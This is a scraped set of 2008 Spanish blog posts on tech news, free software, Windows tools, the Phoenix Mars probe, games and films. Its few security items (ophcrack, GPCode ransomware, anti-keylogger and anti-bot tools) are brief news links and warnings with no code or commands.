      http://ciberderechos.barrapunto.com/ciberderechos/08/07/08/084240.shtml

      http://www.laquadrature.net/files/note-IMCO-ITRE-quadrature-20080630.pdf

      Ya nos lo hicieron en España con la LSSI, luego en el Parlamento Europeo con la ley de Pantentes (una de las barbaridades más grande que he visto en mi vida) y ahora lo mismo con esta ley.

      Algunas perlitas de la ley:

      • Control en las redes

        360desktop, un escritorio virtual panorámico con …

         

        Los que usamos Linux ya conocemos el tema de los escritorios virtuales. Esta es una opción para Windows bastante curiosa al menos, en el video podéis ver una demostración. Es simplemente una foto panorámica que hace de fondo de pantalla y de escritorio virtual, ya que puedes desplazarte y obtener más espacio para ejecutar tus aplicaciones o ubicar tus iconos.

        http://www.360desktop.com/

        Aplicación Freeware y sólo para Windows.

        IV Cursa Ibérica 2008 Figueroles (Castellón)

        

        Tenemos muy buenos amigos (Patri, Ramón, Jose, Laura, etc ...) en Figueroles (Castellón) con los que hemos colaborado a nivel informático alguna vez, como por ejemplo tomando fotos de la llegada, tiempos, diplomas, soporte informático, etc ... en una carrera que cada año es más importante (hasta 1.000 corredores en pueblo de 500 habitantes).

        Tienes toda la información en la web:

        http://cursaibericafigueroles.blogspot.com/

         

        Ver mapa más grande

        Guía para instalar servidores GNU/Linux

        

        Visto en:

        http://barrapunto.com/articles/08/07/06/1536243.shtml

        Manual Creative Commons muy completo de 518 páginas:

        Título: Implementación de Servidores en GNU/Linux. Autor: Joel Barrios Dueñas Versión: Julio de 2008 Licencia: Creative Commons Reconocimiento - NoComercial - CompartirIgual 2.1.

        http://www.alcancelibre.org/filemgmt/visit.php?lid=1

        Attenborough, simulación del interior de una …

        Visto en uno de nuestros blogs favoritos, Fogonazos:

        http://fogonazos.blogspot.com/2008/07/attenborough-y-la-ballena.html

         

        Attenborough es un divulgador científico sobre naturaleza:

        http://es.wikipedia.org/wiki/David_Attenborough

        Wall E, lo nuevo de Pixar

        

        Se estrena el 6 de agosto:

        http://www.disney.es/FilmesDisney/Wall-E/

         

        La Humanidad ha destrozado el planeta con la contaminación y se ha mudado al espacio, pero han dejado robots para limpiarlo y aquí es donde aparece Wall E …

         

        La veremos.

        Me hago mayor pero aún soy un chaval (anuncio de …

        Visto en la página de nuestro amigo Chema Alonso (al que desde aquí aprovechamos para felicitarle por su próxima charla/conferencia en la DefCon):

        http://elladodelmal.blogspot.com/2008/07/soy-fcil-aprovchate-de-mi.html

         

        The Big Band Theory, serie Geek

        

        The Big Band Theory

        Ayer ví los dos primeros capítulos de esta serie y la verdad es que, salvando que se parece demasiado a IT Crowd (cosa que no es mala, ya que IT Crowd es fantástica), es bastante decente de ver para reirte un rato.

        Dos geek/científicos (físicos)/frikis viven juntos y de repente aparece una vecinita rubita que alterará un poco el universo (con dosis de normalidad) en el que viven (atentos a los dos colegas que tienen). Menciones a teoría físicas, matemáticas, juegos (aparece el WOW en el primer capítulo), etc … no esta mal para pasar estas tardes de verano y reirte un rato.

        ¿Ciencia ficción o realidad? Bichos monstruosos …

        

        Vaya bichitos cuando usas un microscopio para verlos, ahora entiendo de donde han sacado la inspiración muchos de los creadores de videojuegos, comics, etc ...

        Para ver una galería de varias de estas fotos:

        http://www.darkroastedblend.com/2008/07/they-bite-ugly-bug-faces.html

        Las 10 mejores armas de videojuegos

         

        (El video es una lista de otras 10 armas hecha por GT)

        No os lo perdáis en:

        http://tupsx.com/las-mejores-10-armas-de-videojuegos-de-todos-los-tiempos

        Esta es la lista:

        1. La BFG9000 (DOOM)

        2. The Gravity Gun (Half Life)

        3. AK-47 (Counter-Strike)

        4. 10mm HV Penetrator (F.E.A.R.)

        5. La Motosierra  (DOOM)

        6. The Master Sword (ZELDA)

        7. Las Botas de Mario (Mario Saga)

        8. The Rocket Launcher (en casi todos los juegos FSP) 

        Cómo hacer un bolso D12

        Friki friki

        Visto en:

        http://www.evilmadscientist.com/article.php/d12bag

        Por si no tienes otra cosa que hacer ;) al menos el regalo es original

        Las mejores 5 herramientas de manteniminento para …

        

        Visto en:

        http://lifehacker.com/397792/five-best-windows-maintenance-tools

        1.  CCleaner, (ya hablamos de este programa aquí) perfecto para eliminar datos que no utilizas tanto del navegador, registro, ficheros temporales, etc. Esta herramienta limpia y por lo tanto, hace que tu equipo vaya un poco más rápido.

        2. Revo Unistaller, alternativa para desinstalar realmente todos los programas que no puedas hacerlo desde el panel de control de Windows, y además elimina todo rastro del programa desinstalado. Tiene más opciones aparte de desinstalar, échale un vistazo …

        Un paseo por el museo de Nintendo

        

        A raíz de oir en el fantástico podcast GameOver una referencia a este museo, he buscado por YouTube y he encontrado estos dos videos donde hacen un tour por sus dos épocas, la era de los juguetes y la era de los videojuegos.

        Supongo que ya sabrás que Nintendo empezó haciendo cartas, luego juguetes y por fin videojuegos.

        La era del juguete:

        La era del videojuego:

        Diablo III confirmado, otro vicio más

        

        Visto en:

        http://forevergeek.com/general/diablo_iii_confirmed.php

        Y en:

        www.blizzard.com

        Y el website:

        http://eu.blizzard.com/diablo3/index.xml

        Peazo de trailer:

         

        Y ojo al video sobre el juego, impresionante:

        Recomendable acceder a la web oficial para enterarte de todas las novedades.

        Stickers de Mario para las paredes

        

        Visto en:

        http://www.tokyomango.com/tokyo_mango/2008/06/wall-graphics-t.html

        Una duda ¿será la habitación de padre o del hijo? ;)

        Linux se ejecuta en el 85% de los ordenadores más …

        

        Visto en:

        http://news.cnet.com/8301-13505_3-9980608-16.html?tag=cnetfd.blogs.item

        Windows manda en los ordenadores domésticos, pero para temas “serios” parece que manda Linux, y de forma aplastante.

        El estudio reciente de Los 500 ordenadores más rápidos, Linux se lleva el 85% y Windows el 1% …

        IBM que tiene los ordenadores más rápidos del mundo, usa xCAT como sistema operativo para sus supercomputadoras. xCAT está diseñado para controlar y posee herramientas todas orientadas a computación distribuda y clusters.

        Los Open Book de O'Reilly

         

         

        Fantástica iniciativa de esta gran editora O’Reilly, aquí puedes ver los libros que tienen bajo licencia Creative Commons:

        http://oreilly.com/openbook/

        Atentos a la lista de libros en inglés:

         

      • Asterisk: The Future of Telephony, Second Edition
      • The Cathedral and the Bazaar
      • Creating Applications with Mozilla
      • DocBook: The Definitive Guide
      • Embedding Perl in HTML with Mason
      • Free as in Freedom
      • Learning Debian GNU/Linux
      • Linux Device Drivers, 3rd Edition
      • Linux Device Drivers, 2nd Edition
      • Linux Network Administrator’s Guide, 2nd Edition
      • Managing Projects with GNU make, 3rd Edition
      • MySQL Reference Manual
      • OpenSources: Voices from the Open Source Revolution
      • Understanding Open Source and Free Software Licensing
      • Practical mod_perl
      • Using Samba, 2nd Edition
      • Version Control with Subversion
      • We the Media
      • Volume 6B: Motif Reference Manual, 2nd Edition
      A ver si otros toman también esta inciativa.

      Utilidad para protegerte de los keyloggers

      

      Visto en:

      http://lifehacker.com/378822/anti-keylogger-shield-keeps-your-passwords-safe

      Anti Keylogger Shield

      Sólo Windows, esta utilidad no detecta keyloggers, simplemente deshabilita el método que estos keyloggers utilizan para grabar las pulsaciones del teclado.

      Perfecto para incluirlo en tu lista de aplicaciones portátiles en el pedrive.

      La cinta VHS, otra reflexión ;)

      http://muchachadanui.rtve.es/

      ¡El suelo de Marte es Alcalino!

      

      Definición de Alcalino:

      http://es.wikipedia.org/wiki/Alcalino

      Enorme sorpresa visto en:

      http://www.sondasespaciales.com/index.php?option=com_content&task=view&id=11144&Itemid=42

      Son los primeros datos sacados del MECA.

      Atentos a la frase de Michael Hecht:

      “Estamos tratando de comprender como es la química del suelo húmedo en Marte, que se ha disuelto en él, como de ácido o alcalino es. Con los resultados que hemos recibido de Phoenix ayer, podemos comenzar a contar que aspectos del suelo podrían soportar la vida”

      Hoy empieza el Blizzard Worldwide Invitational …

      

      Puedes seguirlo en directo con imágenes y videos desde:

      http://eu.blizzard.com/wwi08/streams.xml

      Página oficial:

      http://eu.blizzard.com/wwi08/

      Otra página donde seguir los eventos:

      http://www.n4g.com/gaming/News-162653.aspx

      Según la web podrás:

      • La oportunidad de probar World of Warcraft: Wrath of the Lich King y StarCraft II
      • Mesas redondas con desarrolladores de Blizzard
      • Firma de autógrafos de ilustradores y desarrolladores
      • Torneos profesionales y de aficionados
      • Concursos de disfraces, bailes y más con estupendos premios
      • Actuaciones musicales en vivo
      • Objetos conmemorativos; una subasta silenciosa y mucho, mucho más...
      Estaremos atentos a las noticias.

      X-Files 2 trailer

      Una de mis series favoritas y uno de mis héroes, Mulder, ha vuelto. Esperemos que se mejor que la anterior película, tiene buena pinta:

      Videos de conferencias de Hackers

      

      He visto en la fantástica:

      http://www.hackaday.com/2008/06/25/hacker-conference-videos/

      Una recopilación de enlaces de las conferencias más famosas sobre hacking.

      Seguro que encuentras algún video interesante en uno de estos enlaces:

      • DefCon 15

      • Toocon 9

      • 24c3

      • Shmoocon

      • Notacon 5

      • Layerone 2008

      Aquí tenéis una muestra de un video de defcon 15, fantástico:

      Reanimando discos

      Actualización: Entrevista a Bjarne Stroustrup …

      

      He visto en:

      http://entrevistas.barrapunto.com/entrevistas/08/06/26/1644202.shtml

      un enlace a la traducción de la entrevista publicada en CyberHades, aquí :

      http://www.dosideas.com/actualidad/37-actualidad/109-entrevista-a-bjarne-stroustrup-creador-de-c.html

      Gracias a el blog dosideas por la traducción.

      Nueva versión Linux para Wii: Wii-linux …

      Visto en:

      http://www.nacionarcade.net/wiiscene-wii-linux-debian-etch-40whiite-01-1279/

      Enlace original:

      http://wiibrew.org/wiki/Homebrew_apps/Wii_Linux  

      Primera conferencia científica en WoW

      

      Visto en weblogs.madrimasd.org

      Cada vez esto se esta pareciendo mas al mundo real.

      Al cabo de un rato las ordas de la alianza se percataron de la celebración de dicha conferencia y decidieron ir a por ellos, ¿que puede pasar?…

      lee el articulo completo en http://weblogs.madrimasd.org/sistemas_inteligentes/archive/2008/06/25/95485.aspx

      Fabricar el iPhone cuesta 173 $

      

      Visto en:

      http://www.techtear.com/2008/06/25/isuppli-fabricar-el-iphone-3g-cuesta-173-dolares/

      Al final me compré la PS3 ...

      

      No pude aguantar más ;) y al final me la pillé y no me arrepiento en absoluto. De momento me he liberado de muchos cables en el salón (conozco a alguien que se ha alegrado muchísimo de esto) y otros aparatos como un disco duro multimedia, un reproductor de DVD y un equipo de música.

      Buscaba más que una videoconsola, un reproductor de BlueRay pero la PS3 aparte de reproductor de BlueRay tiene un disco duro de 40Gb, WiFi y Ethernet, Internet, USB y puedo jugar a los espectaculares juegos en HD.

      Entrevista a Bjarne Stroustrup padre del C++

      

      En inglés visto en:

      http://www.computerworld.com.au/index.php/id;408408016;pp;1;fp;16;fpid;1

      Entrevista en profundidad donde desvela datos sobre el diseño del C++ y su éxito.

      Página oficial de Bjarne Stroustrup:

      http://www.research.att.com/~bs/

      10 trucos para acelerar Windows Vista

      

      Visto en:

      http://moniroth.wordpress.com/2008/06/20/top-10-tips-to-make-windows-vista-hight-performance/

      Vamos a intentar exponerlos aquí resumidos:

      1. Desactiva la Búsqueda Indexada, ya que constantemente está revisando tus ficheros para hacerlos más fácil de encontrar cuando los buscas, pero puede afectar bastante al rendimiento de la máquina (tampoco buscas ficheros todo el día):

      • Click en Inicio luego en Equipo

      • botón derecho en C: y luego Propiedades

      • En la pestaña General, desactiva “Indexar esta unidad … "

        Llegó el nuevo Centrino 2 de Intel

        

        Pues eso, visto en:

        http://barrapunto.com/articles/08/06/23/1534208.shtml

        http://www.muycomputer.com/FrontOffice/ZonaPractica/Especiales/especialDet/_wE9ERk2XxDBduZ85MK0S7nFF7KUpXHIORYnu-G6GL9oLzERfWN-rgYYVs-15WRto

        Algunas nuevas características (os aconsejo leer el artículo completo de muycomputer):

        Respecto al procesador (generación Penryn con bus a 1.066 MHz)

        • Procesador con tecnología de fabricación de 45 nm

        • Velocidades entre 2,26 GHz y 2,8 GHz

        • Consumo de 35 vatios y otras versiones de 25 vatios

        • Abre la puerta a los nuevos futuros Core 2 Extreme (4 núcleos)

          CepilloBot ó BristleBot

          

          Visto en:

          http://www.evilmadscientist.com/article.php/bristlebot

           

          Media Markt debería de devolver el 25% del valor …

          

          Te recomiendo que leas el artículo en:

          http://www.geekzone.com.ar/content/espana-pasa-de-cuartos-en-el-europeo-de-futbol-media-markt-devuelve-el-25-del-valor-de-los-t

          Los de Media Markt sacaron una promoción para devolverte el 25% del precio de tu televisor si España pasaba a cuartos, bueno pues como ha pasado, ahora rápidamente han puesto esto su Web:

          http://www.mediamarkt.es/

          Con lo cual ni un duro verás, sólo un cheque para canjearlo en Media Markt, pero recuerda, “yo no soy tonto” (y ellos menos) ;)

          Dibujos de Star Wars y Battlestar Galactica

          

           

          Visto en la magnífica:

          http://cgredan.blogspot.com/2008/06/dibujos-conceptuales-de-ralph-mcquarrie.html

          De Galactica:

          http://www.galactica.tv/battlestar-galactica-1978---news/ralph-mcquarrie-concept-paintings.html

          Y de StarWars:

          http://www.flickr.com/photos/heilemann/sets/152728/

          Fantásticos.

          

          Haz tu propio plástico con leche

           

          Visto en:

          http://lifehacker.com/396690/make-your-own-plastic-with-milk

          Original en:

          http://www.instructables.com/id/Homemade-Plastic/

          La leche tiene una proteina llamada caseína que una vez reducida con un poco de vinagre puedes crear un plástico y darle la forma que quieras (no sé a qué olerá pero bueno). Se hace en una hora y para secarlo necesitas dos más, ideal para regalos baratos y otros artefactos.

          Origami de figuras del D&D

          

          Visto en:

          http://www.boingboing.net/2008/06/19/origami-dd-miniature.html

          Página principal:

          http://www.origami.as/gallery.php?gallery=26

          Casi monta el manual de monstruos del D&D completo.

          Esto seguro que le gusta a nuestro amigo Bauer de Eresungeek ;) 

          Romper los passwords de Windows Vista y Windows XP

          

          Leido en:

          http://escritordecodigo.blogspot.com/2008/06/rompe-los-passwords-de-windows.html

          Usando la herramienta:

          ophcrack

          Para que veáis los fácil que es romper una contraseña de Windows XP/Vista simplemente teniendo acceso a la partición, así que ojito con quien usa vuestro ordenador …

          También puedes descargarte una ISO para crear un LiveCD, perfecto para arrancar desde el disco y trabajar contra la partición …

          Un toque musical para una mañana de domingo, …

          Cines donde puedes ver 3:19

          

          3:19 de Dany Saadia, protagonizada por Miguel Ángel Silvestre, Félix Gómez, Bárbara Goenaga y Juan Díaz.  ¡No os la perdáis!

          CINES RÍVOLI (MALLORCA) INTERINSULAR (CANARIAS) SERCINE (Villares de la Reina - SALAMANCA) KINÉPOLIS (Pozuelo - MADRID) LUX ZONA ESTE (SEVILLA) LUX AQUA (VALENCIA) LUX VIALIA MÁLAGA (MÁLAGA) LUX BARNASUD (BARCELONA) LUX ESPACIO MEDITERRÁNEO (Cartagena - MURCIA) LUX PLAZA MAYOR (VALENCIA) UGC CINE CITÉ (Zaratán - VALLADOLID) UGC CINE CITÉ LOS BARRIOS (CÁDIZ) UGC CINE CITÉ VALENCIA (VALENCIA) MULTICINES LA DEHESA (CÁCERES) MULTICINES LA DEHESA (La Antilla - HUELVA) LA DEHESA VEGA PLAZA (Molina de Segura - MURCIA) MULTICINES LA DEHESA (Ponferrada - LEÓN) MULTICINES EL HORNILLO (Águilas - MURCIA) CINES OSCAR LA BRECHA (San Sebastián - GUIPUZCOA) FUNATIC (LLEIDA) CINES AL ANDALUS CÁDIZ (CÁDIZ) CINES EL PUNT DE LA RIBERA (Alzira - VALENCIA) MULTICINES EL PUNT (Cerdanyola del Vallès - BARCELONA) CINEMES OSCAR (GIRONA) CINES EL NORD (Granollers - BARCELONA) MULTICINES PALACE (Reus - TARRAGONA) MULTICINES GAVARRES (TARRAGONA) SEGLE XXI (Terrassa - BARCELONA) OSCAR VENDRELL (El Vendrell - TARRAGONA) MULTICINES SUCRE VILA-REAL (Vila Real - CASTELLÓN) MULTICINES LLOBREGAT (Cornellá de Llobregat - BARCELONA) MULTICINES PEDROSA (L'Hospitalet - BARCELONA) MULTICINES BAGÈS (Manresa - BARCELONA) MULTICINES EIX MACIA (Sabadell - BARCELONA) CINES ALBÉNIZ (MÁLAGA) CINE VICTORIA (Las Cumbres de Don Benito - BADAJOZ) CINES COLISEUM (Almansa - ALBACETE) BAHÍA DE SANTANDER (SANTANDER) BONAIRE ALDAIA (Aldaia - VALENCIA) FESTIVAL PARK (Marratxi - BALEARES) NUEVA CONDOMINA MURCIA (Cabezo de Torres - MURCIA) PANORAMIS ALICANTE (ALICANTE) PARQUE PRINCIPADO (OVIEDO) CINESA AMC PARK VALLES (Terrassa - BARCELONA) KINÉPOLIS PATERNA (Paterna - VALENCIA) KINÉPOLIS GRANADA (Pulianas - GRANADA) CINEMATOGRAFÍA KAREAGA (Baracaldo - VIZCAYA) CINES MODERNO (Logroño - LA RIOJA) CC VALLE REAL (Camargo - CANTABRIA) CINE SANT ANDREU ATRIUM (Sant Andreu de la Barca) SOROLLA FILMS (VALENCIA) CIEN ZUBIARTE (BILBAO) CINES GURIDI (VITORIA) ABC GRAN TURIA (Xirivella - VALENCIA) ABC ELCHE (Elche - ALICANTE) ABC GANDÍA (Gandía - VALENCIA) ABC ALCOY (Alcoy - ALICANTE) ABC ALICANTE (ALICANTE) CINES ASTORIA (ALICANTE) NEOCINE THADER (MURCIA) SOROLLA FILMS (VALENCIA) LUX BARRIO ART DECÓ (MADRID) LUX PLENILUNIO (Madrid) UGC CINE CITÉ MÉNDEZ ÁLVARO (MADRID) UGC CINE CITÉ GETAFE (MADRID) UGC CINE CITÉ MANOTERAS (MADRID) CINES BROADWAY (VALLADOLID) CINES ORTEGA (PALENCIA) LA DEHESA (Alcalá de Henares - MADRID) CINE PALAFOX (MADRID) CINES LUCHANA (MADRID) CINES SUCRE VIC (Vic - BARCELONA) HERON CITY (BARCELONA) XANADÚ (Arroyomolinos - MADRID) EQUINOCCIO (Majadahonda - MADRID) HERON CITY (Las Rozas - MADRID) LORANCA (Fuenlabrada - MADRID) PREESTRENO EN VALENCIA (ESPECIAL) PARQUESUR (Leganés - MADRID) DIAGONAL MAR (BARCELONA)

          ¡Hielo de agua confirmado en Marte!

          IMPRESIONANTE:

          

          http://phoenix.lpl.arizona.edu/videos_ice.php

          Y un artículo completo en castellano desde la siempre fantástica:

          http://www.sondasespaciales.com/index.php?option=com_content&task=view&id=11134&Itemid=42

          Fotos para montar el video tomadas entre el 15 y 18 de junio. Abajo a la izquierda la foto, podéis ver cómo desaparece el “hielo” evaporándose, dentro la zanja que ha creado el brazo robot de la Phoenix para recoger las muestras.

           Ahora en unos días comenzará el análisis de este hielo para buscar sustancias químicas y a lo mejor, alguna orgánica … esta Phoenix nos dará más de una sorpresa más, atentos a las noticias.

          WarHammer Online MMOPRG, video y web

          

          Empieza la batalla para desbancar al World Of Warcraft de su trono imbatible como MMOPRG más vendido y jugado en el mundo. Ya se puede probar el The Age of Conan y ahora este Warhammer ...

          Web principal

          http://www.warhammeronline.com/

          Y buen video también, aunque nos recuerda bastante a otro ¿verdad amigos del WOW? ;)

           Si quieres saber más sobre los orígenes de este fantástico de juego de estrategia por turnos que también tiene su variante de Rol:

          RUBotted, herramienta gratuita para detectar Bot …

          

          Ahora que está de moda este tipo de infección para convertir tu equipo en un zombie de SPAM u otros fines (como por ejemplo, ataques de denegación de servicio), esta herramienta es bastante útil para saber si tu equipo lleva una doble vida digital ;). Ojo no es un antivirus, es una herramienta que se complementa perfectamente con tu antivirus actual.

          Visto en:

          http://lifehacker.com/396091/rubotted-checks-your-computer-for-zombie-bots

          Y puedes descargar la aplicación desde:

          eToolz, herramienta con GUI para varios comandos …

          

          Visto en:

          http://4sysops.com/archives/free-etoolz-gui-for-ping-traceroute-whois-and-more/

          Estupenda herramienta que te permite analizar y realizar peticiones, por ejemplo: DNS, ping, traceroute, WHOIS, correo , HTTP-header, time (NTP), Google pagerank, y los puertos TCP/UDP también. Lo mejor son las opciones que tiene en el entorno GUI, que te ahorran bastante trabajo.

          http://www.gaijin.at/getit.php?id=etoolz

          Una herramienta más para los administradores de redes para nuestra colección.

          Fotos y comentarios sobre el preestreno de 3:19

           

          

          Sé que pensaréis que no soy parcial por ser amigo de Dany Saadia y de los productores, pero la película se merece una oportunidad ya que os sorprenderá el cariño y el cuidado con el que está hecha, se puede palpar. Desde los atrevidos flashback a animaciones sobre la vida de dos matemáticos que estudiaron diversos temas relacionados con la casuística, por otro lado un drama personal, por otro un toque romántico ... espectacular opera prima de Dany Saadia.

          Toda la película es un tremendo engranaje donde tienes que fijarte en cada pieza en cada momento, ya que al final, todas encajan aunque en principio no lo parezca.

          Nos vamos al preestreno de 3:19

          Pues eso que estamos invitados al preestreno esta tarde a las 22:00 en Valencia, donde nos juntaremos por fin con Dany Saadia y otros amigos. Haremos fotos y las pondremos.

          Ya sabéis mañana a verla todos ;)

          

          Problemas en la memoria de la Phoenix resueltos

          

          Visto en:

          http://www.sondasespaciales.com/index.php?option=com_content&task=view&id=11132&Itemid=42

          Los ingenieros han pedido un día completo para probar y reparar el funcionamiento de la memoria Flash de la sonda que ha generado una inusual cantidad de datos que ha provocado la pérdida de alguna información.

          La Phoenix genera una cantidad de ficheros diarios que guarda en una memoria Flash interna. Para evitar de nuevo el error, se han habilitado canales de comunicación con la Tierra para enviar la información en vez de almacenarla en la sonda como se había hecho hasta ahora, para evitar su pérdida.

          Qué opinan los líderes del Software Libre sobre …

          

          Visto en:

          http://barrapunto.com/articles/08/06/19/1140249.shtml

          Aquí está la traducción al castellano:

          http://picandocodigo.net/index.php/2008/06/19/%C2%BFque-opinan-los-lideres-del-software-libre-y-open-source-de-microsoft/

          Muy interesante … resumiendo, más que demonizar a Microsoft o criticar sus productos (que hay que admitir que algunos son realmente buenos), son sus prácticas abusivas de control de mercado y monopolio lo que se critica.

          TrId, aplicación para identificar extensiones de …

          

          Visto en:

          http://lifehacker.com/396353/trid-identifies-files-with-unknown-extensions

          Aplicación que te identifica la extensión y además añade un porcentaje cuando no hay un 100% de posibilidades de identificarlo.

          Bastante útil.

          Puedes bajarlo desde:

          http://mark0.net/soft-trid-e.html

           Y desde la Web, puedes identificar ficheros con:

          http://www.fileinfo.net/

          Ya puedes descargar FireFox 3

          

          Desde aquí:

          http://www.mozilla.com/en-US/firefox/all-rc.html

          Estas son alguna de las novedades:

          Administrador de contraseñas

          Favoritos con un solo click

          Zoom

          Barra inteligente para los sitios favoritos

          …

          A bajarlo YA ;)

          Los protagonistas de 3:19

          

          Ya queda poco para el estreno (al que iremos, ya tenemos la invitación), así que vamos a ver quienes son los protagonistas de 3:19

          Miguel Ángel Silvestre - Ilan Félix Gómez - Eric Bárbara Goenaga - Lisa Juan Díaz - Andy Diana Bracho - Lucía Salomé Jiménez - Alexandra Alexandra De La Mora - Luciana José Galotto - Dr. Villalobos Luis Mottola - Dr. Lieterman

          Y también protagonista, indirectamente:

          Dia, aplicación Open-Source para hacer diagramas y …

          

          Visto en:

          http://lifehacker.com/396268/dia-does-powerful-diagrams-and-flowcharts

          Para Windows y Linux, bastante potente, parece una versión free del famoso Microsoft Visio, incluso puedes almacenarlos en el formato VDX compatible con dicho programa. Lo he usado bastante y la verdad es que está genial, no tiene nada que envidiar a Visio.

          http://live.gnome.org/Dia

          Descubierto trío de Super-Tierras

          

          http://science.slashdot.org/article.pl?no_d2=1&sid=08/06/16/1816249

          http://esciencenews.com/articles/2008/06/16/a.trio.super.earths

          Alrededor de una estrella normal un poco más pequeña que nuestro sol, localizada a 42 años luz, tiene orbitando tres planetas con 4.2 , 6.7 y 9.4 la masa de la Tierra respectivamente. Orbitan la estrella en periodos de 4.3, 9.6 y 20.4 días. La detección ha sido posible gracias a dispositivo ultrasensible HARPS, ya que la influencia de los mismos sobre la estrella (que es el método de detección, ver las fluctuaciones gravitacionales de la estrella provocada por los planetas) era bastante débil.

          Primeras imágenes del microscopio óptico de la …

          Visto, como siempre, en la fantástica:

          http://www.sondasespaciales.com/index.php?option=com_content&task=view&id=11127&Itemid=42

          Esto empieza a dar resultados, foto del microscopio:

          

          Muestra del suelo sobre un sustrato de silicona, es la imágen con mayor resolución jamás obtenida del suelo marciano. Se observan en estas muestras más de 1000 partículas diferentes de al menos, 4 minerales distintos.

          Por otro lado, el horno TEGA lleva ya dos días analizando las muestras …

          No os olvidéis de leer el artículo completo y sobre todo ver los videos, espectaculares.

          FireNes, 2000 juegos NES para tu navegador FireFox

          

          Visto en:

          http://lifehacker.com/394597/firenes-brings-2000-nes-games-to-your-browser

          Plug-in sólo para FireFox que te permite jugar a la mítica NES con más de 2000 juegos (Mac, Windows y Linux).  Y lo mejor, en castellano, concretamente hecho en Argentina.

          http://www.firenes.com.ar/

          Fantástico para revivir a esta mítica consola de 8 bits … que tiempos …

          Otro emulador on-line en:

          http://www.virtualnes.com/

          Cinta VHS hablando con el Spectrum

           Sin palabras … XD

           

          Tesla Electric Guitar XD que pasada

            Visto en:

          http://www.popsci.com/breakdown/article/2008-06/extremely-electric-guitar

           

          El TIMO de Ecoogler

          

          Hasta algunas empresas querían usar este "magnífico" Blog que decía plantar árboles por cada 10.000 búsquedas que hacías desde su portal, increible que algunos piquen simplemente por sumarse a la moda ecologista sin sentido ni control.

          Os recomiendo que léais este post del magífico blog EresUnGeek:

          http://eresungeek.com/blog/ecoogler-no-planta-arboles

          http://googleamericalatinablog.blogspot.com/2008/06/la-verdad-sobre-ecoogler.html

          Aquí te lo explica todo.

          La próxima vez, vamos a investigar un poco antes de lanzarnos.

          TrueCrypt, herramienta gratuita para encriptar tu …

          

          Con esta fantástica herramienta código abierto , puedes encriptar tus datos por ejemplo, los datos de una unidad virtual, un disco USB, una unidad Flash, etc ...

          Todo se encripta en tiempo real y transparente para el usuario. Tiene también dos niveles en caso de que alguien pueda encontrar tu contraseña por fuerza bruta, primero puede ocultar tus datos usando esteanografía y segundo los datos parecen aleatorios y no pueden ser identificados como una unidad encriptada con TrueCrypt.

          La película "Cthulhu" en 2008

          Vaya que sorpresa, aunque no tiene buena pinta, le daremos una oportunidad hasta verla, visto en:

          http://www.scifiworldmagazine.com/video.php?id=1401&categoria=1

           Más información:

          http://www.aullidos.com/pelicula.asp?id_pelicula=1808

          PD: A mi amigo psicosnyder, Cthulhu parece que ahora sí que está en la ciudad ;) a ver si la vemos juntos, aunque de momento ya me está dando miedo, pero no de terror, de momento pocas películas reflejan realmente a Lovercraft …

          El virus GPCode

          

          He leido en el magnífico Blog: Escritor de Código

          http://escritordecodigo.blogspot.com/2008/06/kaspersky-y-el-virus-gpcode.html

          esta noticia sobre el nuevo virus gpcode. Resumiendo, es un virus que encripta tus ficheros y te pide dinero para desencriptarlos. Utiliza un algoritmo RSA de 1024 bits y añade el sufijo _CRYPT a los ficheros encriptados y elimina el original.

          http://www.f-secure.com/v-descs/gpcode.shtml

          http://www.viruslist.com/en/viruses/encyclopedia?virusid=86369

          Interesante artículo sobre el virus, y sus posibles autores:

          4shared, 5 Gb de espacio gratis para tus ficheros

          

          Esta página ofrece gratuitamente (previo registro) la posibilidad de volcar hasta 5Gb de ficheros, pudiendo incluso ponerlos como públicos o privados (también puedes hacerlo carpeta a carpeta).

          www.4shared.com

          Muy interesante para tener siempre accesible esos ficheros que tanto necesitas … o para hacer copias de seguridad online.

          El primer teléfono proyector, se parece al iPhone.

          

          Vaya pasada, es chino de la marca CKing. Basado en un proyector LCoS con LEDS y enfoque manual, es capaz de proyectar con una resolución de 640x480 y un tamaño 30 pulgadas. La batería dura dos horas, si claro dos horas , eso es imposible, pues lo hace, con esta batería: 666 day battery

            http://www.engadget.com/2008/06/13/worlds-first-projector-cellphone-is-also-an-iphone-clone-in-ro/

           

          Trailer de "The New Star Wars: The Clone Wars"

          

          Para mi sólo existen 3 películas de La Guerra de las Galaxias, el Episodio IV,V y VI.

          Las demas simplemente NO EXISTEN.

          Pero bueno, vamos a ver este trailer y opinaremos después ;) , como es de animación vamos a darle una oportunidad …

          En Youtube:

          http://www.youtube.com/watch?v=_QdXxdQPc_k

           

          En Alta Definición y Quicktime:

          http://movies.yahoo.com/movie/1809991325/video/8273357

           

          3:19 se estrena el 19 de junio

          

          http://319lapelicula.com/

          Todos a verla ...

          Phoenix por fin llena el microondas TEGA con …

          

          Por fin, después de un poco de nerviosismo, parece que ya se ha conseguido hacer pasar por el filtro suficiente muestra para ser analizada por el TEGA (después de agitar bastante la tierra recogida).

          http://www.sciencedaily.com/releases/2008/06/080611143120.htm

          http://www.sondasespaciales.com/index.php?option=com_content&task=view&id=11124&Itemid=42

          Ahora a analizar y a esperar los resultados …

          PD: como nos comenta nuestro amigo y colaborador DuenD (por cierto, a ver si hablamos ;) ), la sonda tiene su propio Twiter:

          Blizzard manda a paseo a Uwe Boll por la …

          

          Pues este "direKtor" de películas tan HORROROSAS como:

          Alone in the Dark (que pena dios mio de película, videojuego mítico destrozado por este pavo)

          Bueno pues Blizzard le ha dicho que hala que sí, que sí, a jugar con otros guiones que tú no nos manchas el nombre del World of Warcraft (como mucho le dejan un gnomo nivel 1 como tope para que haga tonterías en el juego) , desde aquí miles de aplausos a Blizzard CLAP CLAP CLAP por negar a este pollo los derechos para hacer una posible película sobre el videojuego y de paso destrozarla (la película y el videojuego).

          Escáner tocando el "Himno a la alegría" y …

          X_D dios que risa, mira que soy/somos frikis.

          Madre cada día nos superamos más, haremos un ranking de cosas frikis…

          The Machine that changed the world, documental

          

          Cómo somos devotos de Microsiervos, hemos visto:

          http://www.microsiervos.com/archivo/ordenadores/the-machine-that-changed-the-world.html

          Son 5 capítulos de un documental de la BBC sobre la historia de los ordenadores que no puede comprarse en ningún formato, pero que ahora pueden verse en línea desde:

          1. The machine that changed the world

          2. Inventing the future

          3. The paperback computer

          4. The thinking machine

          5. The world at your fingertips

          Y para bajarlos por torrents, usa este link.

          "El incidente", de M. Night Shyamalan

          http://www.elincidente.es/

          http://www.mnightshyamalan.com/

          http://www.hoycinema.com/actualidad/noticias/incidente-reportaje-2008.htm

